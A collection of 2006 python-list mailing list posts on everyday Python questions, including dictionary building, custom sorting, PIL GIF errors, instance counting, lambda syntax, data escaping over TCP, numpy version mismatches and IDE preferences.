From: wahab at chemie.uni-halle.de (Mirco Wahab)
Date: Wed, 04 Oct 2006 23:43:39 +0200
Subject: dictionary of list from a file
In-Reply-To: <fwQUg.25429$DU3.12165@tornado.texas.rr.com>
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
	<fwQUg.25429$DU3.12165@tornado.texas.rr.com>
Message-ID: <eg1a6t$9ci$1@mlucom4.urz.uni-halle.de>

Thus spoke Paul McGuire (on 2006-10-04 17:34):
> <andrea.spitaleri at gmail.com> wrote in message 
>> this is my first post. my "programming" background is perlish 

> I'll see your perlish line noise, and raise you this obfuscapython:  :)
> 
> data = """\
> 2 1 2 3 4
> 7 7 8 9 10
> 5 1 3 5 7 9
> 2 6 8 10""".split('\n')  # similar to file.readlines(), but easier to paste 
> into news post
> import operator, itertools
> item = operator.itemgetter
> b = dict( (k,sum(map(lambda g:g[1:],grps),[]))
>              for (k,grps) in itertools.groupby( sorted( 
> map(str.split,data) ), item(0) ) )
> for item in sorted(b.items()):
>     print "%s -> %s" % item
> 
> prints:
> 2 -> ['1', '2', '3', '4', '6', '8', '10']
> 5 -> ['1', '3', '5', '7', '9']
> 7 -> ['7', '8', '9', '10']

Hehe! not bad, lets do the reverse in Perl then too ;-)

This should be *one line*, operating on a dictionary %h:

  s/(\d+)\s+(\d+.+)$/push @{$h{$1}},split' ',$2/eg for @data;

(is at least as obfuscated as yours) - add another line for the output:

  print( "$_ => @{$h{$_}} \n") for sort keys %h;

will print (as yours):

     2 => 1 2 3 4 6 8 10
     5 => 1 3 5 7 9
     7 => 7 8 9 10

if your data:

   @data = split"\n",
     '2 1 2 3 4
      7 7 8 9 10'
      5 1 3 5 7 9
      2 6 8 10';

... is fed in. What does all this tell us?
==> Obfuscated Python is *much longer* than
its Perl counterpart ;-)

Regards

Mirco

PS.: I tried to pull the dict in Python
out of a regex search too - but failed.
I'll try tomorrow again ;-)


From grflanagan at yahoo.co.uk  Mon Oct 16 14:37:19 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 16 Oct 2006 11:37:19 -0700
Subject: Need a strange sort method...
In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
Message-ID: <1161023839.841044.283730@e3g2000cwe.googlegroups.com>


SpreadTooThin wrote:
> I have a list and I need to do a custom sort on it...
>
> for example:
> a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order
>
> def cmp(i,j):  #to be defined in this thread.
>
> a.sort(cmp)
>
> print a
> [1,4,7,10,  2,5,8, 3,6,9]
>
> So withouth making this into an IQ test.
> Its more like
> 1 4 7 10
> 2 5 8
> 3 6 9
>
> Read that top to bottom from column 1 to column 4.
> When you get to the bottom of a column move to the next column.
> Get it?

maybe the columnise function here would help:

    http://www.gflanagan.net/site/python/utils/sequtils/

from math import sqrt

for i in range(2,12):
    seq = range(1,i)
    numcols = int(sqrt(len(seq)))
    print columnise(seq, numcols)

[(1,)]
[(1, 2)]
[(1, 2, 3)]
[(1, 3), (2, 4)]
[(1, 3, 5), (2, 4, None)]
[(1, 3, 5), (2, 4, 6)]
[(1, 3, 5, 7), (2, 4, 6, None)]
[(1, 3, 5, 7), (2, 4, 6, 8)]
[(1, 4, 7), (2, 5, 8), (3, 6, 9)]
[(1, 4, 7, 10), (2, 5, 8, None), (3, 6, 9, None)]

--------------------------

def chunk( seq, size, pad=None ):
    '''
    Slice a list into consecutive disjoint 'chunks' of
    length equal to size. The last chunk is padded if necessary.

    >>> list(chunk(range(1,10),3))
    [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
    >>> list(chunk(range(1,9),3))
    [[1, 2, 3], [4, 5, 6], [7, 8, None]]
    >>> list(chunk(range(1,8),3))
    [[1, 2, 3], [4, 5, 6], [7, None, None]]
    >>> list(chunk(range(1,10),1))
    [[1], [2], [3], [4], [5], [6], [7], [8], [9]]
    >>> list(chunk(range(1,10),9))
    [[1, 2, 3, 4, 5, 6, 7, 8, 9]]
    >>> for X in chunk([],3): print X
    >>>
    '''
    n = len(seq)
    mod = n % size
    for i in xrange(0, n-mod, size):
        yield seq[i:i+size]
    if mod:
        padding = [pad] * (size-mod)
        yield seq[-mod:] + padding

def columnise( seq, numcols, pad=None ):
    '''
    >>> columnise(range(1,10),3)
    [(1, 4, 7), (2, 5, 8), (3, 6, 9)]
    >>> columnise(range(1,9),3)
    [(1, 4, 7), (2, 5, 8), (3, 6, None)]
    >>> columnise(range(1,8),3)
    [(1, 4, 7), (2, 5, None), (3, 6, None)]
    '''
    return zip( *chunk(seq, numcols, pad) )
-------------------------------

Gerard



From h.trammel at insightbb.com  Thu Oct 19 21:46:19 2006
From: h.trammel at insightbb.com (Harold Trammel)
Date: Thu, 19 Oct 2006 20:46:19 -0500
Subject: A suggestion/request for IDEs
In-Reply-To: <pRLZg.113$1n3.3340@news.tufts.edu>
References: <pRLZg.113$1n3.3340@news.tufts.edu>
Message-ID: <bcudndYSRfH3t6XYnZ2dnUVZ_tWdnZ2d@insightbb.com>

John Salerno wrote:
> I apologize for the slightly off-topic nature, but I thought I'd just 
> throw this out there for anyone working on text editors or IDEs with 
> auto-completion.
> 
> I think it should be a feature, when an item is selected for 
> auto-completion in a drop-down box, that pressing the spacebar (in 
> addition to tab or enter) will automatically finish the word and add a 
> space. This is how Microsoft's new IDEs for .NET work, and I found it 
> very helpful to be able to just press space as normal and keep typing. I 
> know it sounds minor, but I find it to be a time saver instead of having 
> to press tab or enter, and then also the spacebar.
> 
> Thanks.

I use Eclipse with PyDev and PyDev extensions.  SlickEdit (awesome 
editor) has auto-completion as well.


From codecraig at gmail.com  Tue Oct 17 09:58:22 2006
From: codecraig at gmail.com (abcd)
Date: 17 Oct 2006 06:58:22 -0700
Subject: Problem creating animated gif
Message-ID: <1161093502.432509.38340@m7g2000cwm.googlegroups.com>

I am using gifmaker.py from PIL v1.1.5 on python 2.4.1.

CODE
----------------------------------------------------------------
import ImageGrab, gifmaker

seq = []

while keepOnGoing:
    im = ImageGrab.grab()
    seq.append(im)

fp = open("out.gif", "wb")
gifmaker.makedelta(fp, seq)
fp.close()

---------------------------------------------------------------

however I am getting this error:

Exception in thread Thread-3:
Traceback (most recent call last):
  File "c:\Python24\lib\threading.py", line 442, in __bootstrap
    self.run()
  File "c:\foo.py", line 10, in run
    gifmaker.makedelta(fp, seq)
  File "c:\gifmaker.py", line 79, in makedelta
    for s in getheader(im) + getdata(im):
  File "c:\Python24\Lib\site-packages\PIL\GifImagePlugin.py", line 383,
in getdata
    ImageFile._save(im, fp, [("gif", (0,0)+im.size, 0,
RAWMODE[im.mode])])
KeyError: 'RGB'


Any ideas?  Basically I want to make an animated GIF out of a bunch of
images taken using the ImageGrab module.



From eurleif at ecritters.biz  Wed Oct  4 11:00:28 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Wed, 04 Oct 2006 11:00:28 -0400
Subject: A Universe Set
In-Reply-To: <slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <4523cc5f$0$25771$4d3efbfe@news.sover.net>

Jorgen Grahn wrote:
> - infinite xrange()s

itertools.count()?


From bignose+hates-spam at benfinney.id.au  Wed Oct 11 01:31:56 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 15:31:56 +1000
Subject: OT: Sarcasm and irony
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
Message-ID: <874pub8lkj.fsf@benfinney.id.au>

Grant Edwards <grante at visi.com> writes:

> Sarcasm is a form of irony.  Irony is when what is meant is
> different from the obvious literal meaning of the statement.

Irony need not have anything to do with the meaning and intent of the
speaker. Indeed, irony can occur when there is no communication at
all; an ironic outcome does not require anyone to have said or
communicated anything.

> Like Alanis Morisette said about the song "Isn't it Ironic": What's
> ironic about the song is that it doesn't actually contain any irony.

What source do you have for Morissette saying that? I've seen many
people saying it *about* her song, but nothing from her that isn't
just repeating what others have said.

-- 
 \         "I was arrested today for scalping low numbers at the deli. |
  `\                  Sold a number 3 for 28 bucks."  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From timr at probo.com  Sat Oct 21 21:55:53 2006
From: timr at probo.com (Tim Roberts)
Date: Sun, 22 Oct 2006 01:55:53 GMT
Subject: How to upgrade python from 2.4.3 to 2.4.4 ?
References: <mailman.810.1161324583.11739.python-list@python.org>
	<45386ba2$0$1206$9b622d9e@news.freenet.de>
Message-ID: <rojlj25prc0shgqrdmag8c8ot6hrq2c79i@4ax.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote:

>fdu.xiaojf at gmail.com schrieb:
>> I just want to upgrade my python version from 2.4.3 to 2.4.4,do I need
>> to uninstall python 2.4.3 first ?
>> 
>> I'd rather not to do so, because I have installed some other python
>> packages for python2.4.3.
>
>You don't have to uninstall. Installing "on top" will work just fine;
>both on Windows and Unix (not sure about Mac).

However, the original poster should note that this will NOT work when going
from 2.4.x to 2.5.x.  Versions where the second digit differs will get
installed into a different directory, so you must re-install all of your
add-in packages.

Having learned that lesson the hard way, I now keep a directory with zips
and tarballs for all of the add-ins I have installed, and I maintain a
single batch file that will install all of them.  This also makes it
trivially easy to install my environment on a different computer.
-- 
Tim Roberts, timr at probo.com
Providenza & Boekelheide, Inc.


From vasudevram at gmail.com  Sun Oct 15 12:32:18 2006
From: vasudevram at gmail.com (vasudevram)
Date: 15 Oct 2006 09:32:18 -0700
Subject: Where can I find good python code?
References: <a23effaf0610130908x7dfaa025r8be5e77b5bbce773@mail.gmail.com>
	<mailman.468.1160761880.11739.python-list@python.org>
Message-ID: <1160929938.226103.117100@h48g2000cwc.googlegroups.com>


Chris Lambacher wrote:
> On Sat, Oct 14, 2006 at 01:08:37AM +0900, js  wrote:
> >  Hi,
> >
> > I've learned basics of Python and want to go to the next step.
> > So I'm looking for good python examples
> > I steal good techniques from.
> >
> > I found Python distribution itself contains some examples in Demo directory.
> > I spent some time to read them and
> > I think they're good but seemed not so practical to me.
> >
> > Any recommendations?
> A large portion of the standard library is pure python and of high
> quality(thats how it made it there in the first place).  The newer a module is
> to the library, the better it will conform to current best practices.
>
> On Unix environments you can find the standard library in
> $PREFIX/lib/python$VERSION/ where $PREFIX is often /usr but sometimes
> /usr/local and version is the version you have installed (maybe 2.4 or 2.5?)
>
> On Windows you can find the standard library in c:\Python%VERSION%\Lib where
> %VERSION% is the version you installed (maybe 24 or 25?)
>
> -Chris

Try reading the code in this package:
http://sourceforge.net/projects/xtopdf
Not very idiomatic or Pythonic code (done when I was still fairly new
to Python), but clear, well-commented - IMO, of course.
Also it is a real-world, though small, app, with both end-user tools
and a developer API.
So you can play around with using and extending it, etc. - and its easy
to understand too.
Might help motivate the learning if you try to build something useful
with it :-)

HTH
Vasudev Ram
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Software training and consulting
Dancing Bison Enterprises
http://www.dancingbison.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



From robert.kern at gmail.com  Mon Oct 16 18:30:24 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 16 Oct 2006 17:30:24 -0500
Subject: Max-plus library
In-Reply-To: <aBTYg.65754$E67.63337@clgrps13>
References: <aBTYg.65754$E67.63337@clgrps13>
Message-ID: <eh1161$e98$1@sea.gmane.org>

Martin Manns wrote:
> Hello,
> 
> Is there any library that allows employing max-plus dioids in
> python (e.g. based on numpy/scipy)?

Google says "no" and I haven't heard of any, so I imagine that there aren't. 
There might be something buried in some of the control theory packages, but as I 
neither know what max-plus dioids are, nor have I any current interest in them, 
I can't give you any better pointers.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fredrik at pythonware.com  Mon Oct 30 10:30:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 16:30:37 +0100
Subject: How can I import a script with an arbitrary name ?
In-Reply-To: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
Message-ID: <ei55qn$3tt$1@sea.gmane.org>

leonel.gayard at gmail.com wrote:

> I have a script responsible for loading and executing scripts on a
> daily basis. Something like this:
> 
> import time
> t = time.gmtime()
> filename = t[0] + '-' + t[1] + '-' + t[2] + '.py'
> import filename
> 
> So, I have a module with an arbitrary file name and I want to load it,
> and later access its function definitions.

execfile() is probably your best bet:

     namespace = {}
     execfile(filename, namespace)

     namespace["function"](argument)

also see:

     http://effbot.org/zone/import-string.htm#importing-by-filename

</F>



From horpner at yahoo.com  Fri Oct 13 08:40:22 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 13 Oct 2006 14:40:22 +0200
Subject: Appropriate way to quit Tkinter
References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com>
	<mailman.400.1160685492.11739.python-list@python.org>
	<1160700517.014505.304880@b28g2000cwb.googlegroups.com>
Message-ID: <slrneiv2bi.1jc.horpner@FIAD06.norwich.edu>

On 2006-10-13, mzdude <jsanga at cox.net> wrote:
>
> Fredrik Lundh wrote:
> [snip]
>> works for me.  are you perhaps running this under some kind of
>> IDE that keeps the process running even after the program has
>> terminated?
>
> It works the same way if I run from IDLE or from the DOS
> command prompt.

I had some fun trying to run Tkinter from from the Python
embedded in Vim. My advice: Do not do that.

-- 
Neil Cerutti
The majority of time, it seems to be one thing or the other.
--Ron Mercer


From steve at REMOVEME.cybersource.com.au  Mon Oct 23 21:14:29 2006
From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano)
Date: Tue, 24 Oct 2006 11:14:29 +1000
Subject: pretty basic instantiation question
References: <mailman.2408.1161640980.11738.python-list@python.org>
	<mailman.1024.1161646594.11739.python-list@python.org>
	<1161650174.804226.37720@m73g2000cwd.googlegroups.com>
Message-ID: <pan.2006.10.24.01.14.29.34240@REMOVEME.cybersource.com.au>

On Mon, 23 Oct 2006 17:36:14 -0700, meithamj wrote:

[fixing top-posting]

> sittner at lkb.ens.fr wrote:
>> i'm very new to python, but i have a pretty basic question:
>> let's say i have a class, and i need to create a different number of
>> instances (changes every time - and i can't know the number in advance) in
>> a loop.

As others have pointed out, the answer is "don't do that, use a list of
instances instead".

> Why do you need to know the number of instances. I know that Python
> does not support Class Variable, but you can always create a global
> variable and increase it whenever you add a new instance. this will
> keep a record for you of how many instances you have.

That's not what the Original Poster asked for, but there is a better way
than keeping a global variable. Make the counter a class attribute. That
way you don't have to increment the global, the class does its own
counting.


class CountedClass:
    count = 0
    def __init__(self, arg):
        self.__class__.count += 1
        self.arg = arg
    def __del__(self):
        self.__class__.count -= 1


Example:

>>> a = CountedClass(4)
>>> b = CountedClass(4)
>>> c = CountedClass(4)
>>> CountedClass.count
3
>>> a = 1
>>> CountedClass.count
2
>>> del b
>>> CountedClass.count
1
>>> L = [CountedClass(None) for i in range(1000)]
>>> CountedClass.count
1001



-- 
Steven 



From peter.maas at somewhere.com  Wed Oct 11 17:02:03 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Wed, 11 Oct 2006 23:02:03 +0200
Subject: Python component model
In-Reply-To: <1160562945.079609.98640@m7g2000cwm.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
Message-ID: <egjm4b$io$1@online.de>

Paul Boddie wrote:
> People who bring up stuff about self and indentation are just showing
> their ignorance, in my opinion, since Python isn't the first language
> to use self in such a way, and many C++ and Java programs use this
> pervasively in order to make attribute scope explicit, whereas the
> indentation matter is only troublesome with bad editing practices. I
> don't think the community should spend any more time on these
> criticisms.

How many programmers don't use Python because of the self issue?
I'm not for changing the semantics here but when I wrote a method with
lots of selfs recently I tried how it would look like if it would be
allowed not to write down 'self', i.e. from

def deposit(self, amount):
    self.balance = self.balance + amount

to

def deposit( , amount):
    .balance = .balance + amount

I see an advantage in not mentioning 'self': using shorter alternatives
like 'my' is possible but considered bad style. I find it unsatisfactory
to provide a degree of freedom and not wanting it to be used. Leaving
out 'self' is like leaving out block markers. You leave out something
that's a matter of taste (self, me, my, block marker positions) and
bring the code in minimal form. Explicit use of self could of course
still be allowed. And a favorite argument against Python would become
pointless.

> However, the GIL and issues of tools and IDEs should be considered in a
> more sophisticated way. 

If I wouldn't read discussions about it I wouldn't probably know that it
exists. But as far as I have understood removing the GIL means a lot of
work and breaking existing code. Perhaps the GIL will die naturally with
the advent of a production ready PyPy. And the Twisted people keep telling
"Repeat with me: there are no threads" :)

> Meanwhile, whilst not an IDE advocate myself, there really does need to
> be further improvements in the analysis of Python source code so that
> people can build improved tools to check Python programs for obvious
> "compile-time" errors and to inspect the behaviour of large amounts of
> code. 

I agree.

One reads occasionally on the python-dev or python-3000 mailing
> lists that some proposed change or other may or may not have an impact
> on "real world" systems such as the standard library, but that no-one
> can really say: we need to move beyond the "Python is just so dynamic"
> meme and develop tools like PyLint and PyChecker much further.

I find it important that Python allows dynamic coding but I agree that it
should allow more compile time checks which would probably also help to
produce faster code.

> This kind of stuff can be tackled by providing better introductory,
> educational or promotional material, with the latter especially
> important to stop the uninformed "rubbishing" that advocates of certain
> other languages seem particularly inclined to indulge in.

I don't think so because advocates tend to use arguments just because they
are handy, not because they don't know better.

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From ldo at geek-central.gen.new_zealand  Sat Oct  7 18:01:42 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Sun, 08 Oct 2006 11:01:42 +1300
Subject: Making sure script only runs once instance at a time.
References: <451D25A3.7010803@googlemail.com> <R53637327.467.1352.3@mx-extra>
	<mailman.949.1159543590.10491.python-list@python.org>
Message-ID: <eg9829$52b$1@lust.ihug.co.nz>

In message <mailman.949.1159543590.10491.python-list at python.org>, Tim
Williams wrote:

> On 29/09/06, Matthew Warren <Matthew.Warren at digica.com> wrote:
>> I have found that in real usage of other programs within the company that
>> use lockfiles, it sometimes causes a bit of troubleshooting time when it
>> stops working due to a stale lockfile.. This especially happens when the
>> program is killed, the lockfile remains and causes minor annoyance (to
>> somebody who knows that is, more annoyance to somebody who doesn't).
> 
> Then they were checking for the wrong thing :)      Chcking for a lock
> file's existance is prone to the above problem.

My script deals with this
<http://groups.google.co.nz/groups?selm=ldo-727939.19244215042006 at lust.ihug.co.nz>.


From gh at gregor-horvath.com  Sat Oct 21 04:36:00 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Sat, 21 Oct 2006 10:36:00 +0200
Subject: Good Form
In-Reply-To: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
References: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
Message-ID: <ehcm5h$acr$1@newsreader2.utanet.at>

phez.asap at gmail.com schrieb:

> Would you normally write methods to retrive and set your class
> variables or just refrence them directly?
> 

you start by referencing them directly and ONLY if you need you can add
getters and setters later on without breaking any client code.
see the property function.

An explanation for the motivation behind this and python's thinking can
be found here:

http://tinyurl.com/wfgyw

-- 
  Servus, Gregor


From kay.schluehr at gmx.net  Sat Oct 14 02:42:04 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 13 Oct 2006 23:42:04 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<1160802056.744732.323540@e3g2000cwe.googlegroups.com>
Message-ID: <1160808124.455062.319660@m7g2000cwm.googlegroups.com>

brenocon at gmail.com wrote:

> But [embedding a definition, ks] is awkward since the lambda is constrained to be one
> line; you
> can't come back later and add much to the callback's code.
> Furthermore, this example isn't even legal, because 'print' isn't a
> function, but a statement -- lambda is further constrained to only
> contain an expression.
>
> Many have complained about this crippled-ness of lambda, but it
> actually makes some sense.  Since Python uses colons and indentation to
> define blocks of code, it would be awkward to close a multiline lambda.
>  The best I could think of would look like
>
>     deferred.addCallback(lambda r:
>         print("fancy formatting %s" % r.text)
>     )
>
>     ^
>     |
>
> That trailing paranthesis is WAY un-Pythonic.

Maybe it is not common place because some users are underinformed and
hypnotized by whitespace semantics but you can add a trailing backslash
to achieve line coninuation within a single expression:

>>> deferred.addCallback(lambda r:  puts("fancy formatting %s" \
... 	))

This works syntactically.

[...]

> There might be some sort of overlap with PEP 343 and the 'with'
> statement, but I'm not sure exactly.  Sorry I'm late to the game and
> commenting on last year's PEP's, but I've only started reading them.
> Note that PEP's 343 and 340 are very focused on resource management --
> but I think that letting one define code blocks as closures could make
> resource handling routines be easily written in Python.

The with statement is already implemented in Python 2.5.

http://docs.python.org/whatsnew/pep-343.html

The main difference between the with statement and Ruby blocks is that
the with-statement does not support loops. Yielding a value of a
function decorated with a contextmanager and passing it to the BLOCK of
the with statement is essentially a one-shot. Therefore you can't use
the with statement to define iterators. It is not a lightweight visitor
pattern replacement as it is in Ruby. Hence the with- and the
for-statement are orthogonal to each other in Python.



From kareta at web.de  Mon Oct 23 14:01:33 2006
From: kareta at web.de (Juergen Kareta)
Date: Mon, 23 Oct 2006 20:01:33 +0200
Subject: numpy error
Message-ID: <4q4eggFl1prqU1@individual.net>

Hello,

this is my first try to get wxmpl-1.2.8 running. Therefor I installed:

python 2.5
matplotlib-0.87.6.win32-py2.5.exe
numpy-1.0rc3.win32-py2.5.exe

on WinXP SP2

The result is a version mismatch (see below).

Numpy version 1000002 seems to be numpy-1.0b5 which is not downloadable 
anymore. Any hints ?

Thanks in advance.

J?rgen


traceback:

from pylab import *
RuntimeError: module compiled against version 1000002 of C-API but this 
version of numpy is 1000009

The import of the numpy version of the nxutils module,
_nsnxutils, failed.  This is is either because numpy was
unavailable when matplotlib was compiled, because a dependency of
_nsnxutils could not be satisfied, or because the build flag for
this module was turned off in setup.py.  If it appears that
_nsnxutils was not built, make sure you have a working copy of
numpy and then re-install matplotlib. Otherwise, the following
traceback gives more details:

Traceback (most recent call last):
   File "<interactive input>", line 1, in <module>
   File "C:\Python25\Lib\site-packages\pylab.py", line 1, in <module>
     from matplotlib.pylab import *
   File "C:\Python25\Lib\site-packages\matplotlib\pylab.py", line 199, 
in <module>
     import mlab  #so I can override hist, psd, etc...
   File "C:\Python25\Lib\site-packages\matplotlib\mlab.py", line 64, in 
<module>
     import nxutils
   File "C:\Python25\Lib\site-packages\matplotlib\nxutils.py", line 17, 
in <module>
     from matplotlib._ns_nxutils import *
ImportError: numpy.core.multiarray failed to import


From nick at craig-wood.com  Fri Oct 13 04:30:10 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Fri, 13 Oct 2006 03:30:10 -0500
Subject: Sending binary pickled data through TCP
References: <mailman.410.1160703734.11739.python-list@python.org>
	<7xfyds2703.fsf@ruckus.brouhaha.com>
Message-ID: <slrneiui39.o3d.nick@irishsea.home.craig-wood.com>

Paul Rubin <http> wrote:
>  As for the network representation, DJB proposes this format:
>  http://cr.yp.to/proto/netstrings.txt

Netstrings are cool and you'll find some python implementations if you
search.

But it is basically "number:string,", ie "12:hello world!,"

Or you could use escaping which is what I usually do.  This has the
advantage that you don't need to know how long the data is in advance.

Eg, these are from a scheme which uses \t to seperate arguments and
\r or \n to seperate transactions.  These are then escaped in the
actual data using these functions

def escape(s):
    """This escapes the string passed in, changing CR, LF, TAB and \\ into
    \\r, \\n, \\t and \\\\"""
    s = s.replace("\\", "\\\\")
    s = s.replace("\r", "\\r")
    s = s.replace("\n", "\\n")
    s = s.replace("\t", "\\t")
    return s

def unescape(s, _unescape_mapping = string.maketrans('tnr','\t\n\r'), _unescape_re = re.compile(r'\\([(rnt\\)])')):
    """This unescapes the string passed in, changing \\r, \\n, \\t and \\any_char into
    CR, LF, TAB and any_char"""
    def _translate(m):
        return m.group(1).translate(_unescape_mapping)
    return _unescape_re.sub(_translate, s)

(These functions have been through the optimisation mill which is why
they may not look immediately like how you might first think of
writing them!)

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From eurleif at ecritters.biz  Mon Oct 23 19:45:32 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Mon, 23 Oct 2006 19:45:32 -0400
Subject: How to get each pixel value from a picture file!
In-Reply-To: <1161645289.453600.107140@h48g2000cwc.googlegroups.com>
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>
	<mailman.1013.1161637584.11739.python-list@python.org>
	<1161643563.111993.109480@b28g2000cwb.googlegroups.com>
	<mailman.1021.1161644257.11739.python-list@python.org>
	<1161645289.453600.107140@h48g2000cwc.googlegroups.com>
Message-ID: <453d5360$0$13811$4d3efbfe@news.sover.net>

Lucas wrote:
> 1)I just copy the tutorial to run "print pix[44,55]". I really dont 
> know why they wrote that?!

What tutorial? Where does it say that?


From alistair.king at helsinki.fi  Wed Oct 25 05:55:34 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Wed, 25 Oct 2006 12:55:34 +0300
Subject: dict problem
Message-ID: <453F3496.2070707@helsinki.fi>

Jon Clements wrote:

> > Alistair King wrote:
> >
> >   
>   
>> >> Hi,
>> >>
>> >> ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error:
>> >>
>> >>
>> >> Traceback (most recent call last):
>> >>   File "DS1excessH2O.py", line 242, in ?
>> >>     updateDS1v(FCas, C, XDS)
>> >> NameError: name 'C' is not defined
>> >>
>> >> dictionary is:
>> >>
>> >> DS1v = {'C': 6, 'H': 10, 'O': 5}
>> >>
>> >>
>> >>
>> >> #'Fxas' in each case will be integers but 'atoms' should be a float
>> >>
>> >> def updateDS1v(Fxas, x, XDS):
>> >>     while Fxas != 0:
>> >>         atoms = DS1v.get('x') + Fxas*XDS
>> >>         DS1v[x] = atoms
>> >>
>> >> updateDS1v(FCas, C, XDS)
>> >> updateDS1v(FHas, H, XDS)
>> >> updateDS1v(FOas, O, XDS)
>> >> updateDS1v(FNas, N, XDS)
>> >> updateDS1v(FSas, S, XDS)
>> >> updateDS1v(FClas, Cl, XDS)
>> >> updateDS1v(FBras, Br, XDS)
>> >> updateDS1v(FZnas, Zn, XDS)
>> >> print DS1v
>> >>
>> >> I know there is probably a simple solution but im quite new to python and am lost?
>> >>
>> >>     
>>     
> >
> > I strongly suggest reading through the tutorial.
> >
> > I don't think there's enough code here for anyone to check it properly.
> > For instance, it looks like FCas exists somewhere as it's barfing on
> > trying to find C. Where is XDS defined etc...?
> >
> > I can't see updateDS1v() ever completing: any Fxas passed in not equal
> > to 0 will repeat indefinately.
> >
> > I'm guessing unless C is meant to be a variable, you mean to pass in
> > the string 'C'.
> >
> > A dictionary already has it's own update method....
> >
> > Perhaps if you explain what you're trying to do in plain English, we
> > could give you some pointers.
> >
> > Jon.
> >
> >   
>   
sorry,

this has been a little rushed

XDS is defined before the function and is a float.
the Fxas values are also and they are integers


now ive tried

def updateDS1v(Fxas, x, XDS):
while Fxas != 0:
atoms = DS1v.get(x) + Fxas*XDS
DS1v['x'] = atoms

updateDS1v(FCas, 'C', XDS)
updateDS1v(FHas, H, XDS)
updateDS1v(FOas, O, XDS)
updateDS1v(FNas, N, XDS)
updateDS1v(FSas, S, XDS)
updateDS1v(FClas, Cl, XDS)
updateDS1v(FBras, Br, XDS)
updateDS1v(FZnas, Zn, XDS)
print DS1v

from this i get the error:

Traceback (most recent call last):
File "DS1excessH2O.py", line 242, in ?
updateDS1v(FCas, 'C', XDS)
File "DS1excessH2O.py", line 239, in updateDS1v
atoms = DS1v.get(x) + Fxas*XDS
TypeError: unsupported operand type(s) for +: 'int' and 'str'


with single quotes (FCas, 'C', XDS) to retrieve the value for that key
from the dictionary and then create the new value and replace the old value.

a


-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From daigno at gmail.com  Thu Oct 26 01:17:06 2006
From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault?=)
Date: Thu, 26 Oct 2006 01:17:06 -0400
Subject: What's the best IDE?
Message-ID: <454044D2.4070403@gmail.com>

/What's your favorite IDE?/

Eclipse with pydev and extentions, and subclipse for subversion
/
What do you like about it?
/When I started Python I tried a whole bunch of IDEs, Komodo, Idle, active state but got tired by having to learn to navigate through a new environment, so I settled for PyDev and Eclipse./

/Cause I know it well (used it for java since it`s beta pre release baby versions) and can use the same environment for my C++ (CDT), Java, python (Now that for me is a major +)...  I oftenly use python as a glue for different small apps and I do like the idea of staying in the same environment for all of them, feels like good'ol slippers.  Plus since I use SCons for building most my C++ apps it's just dandy.

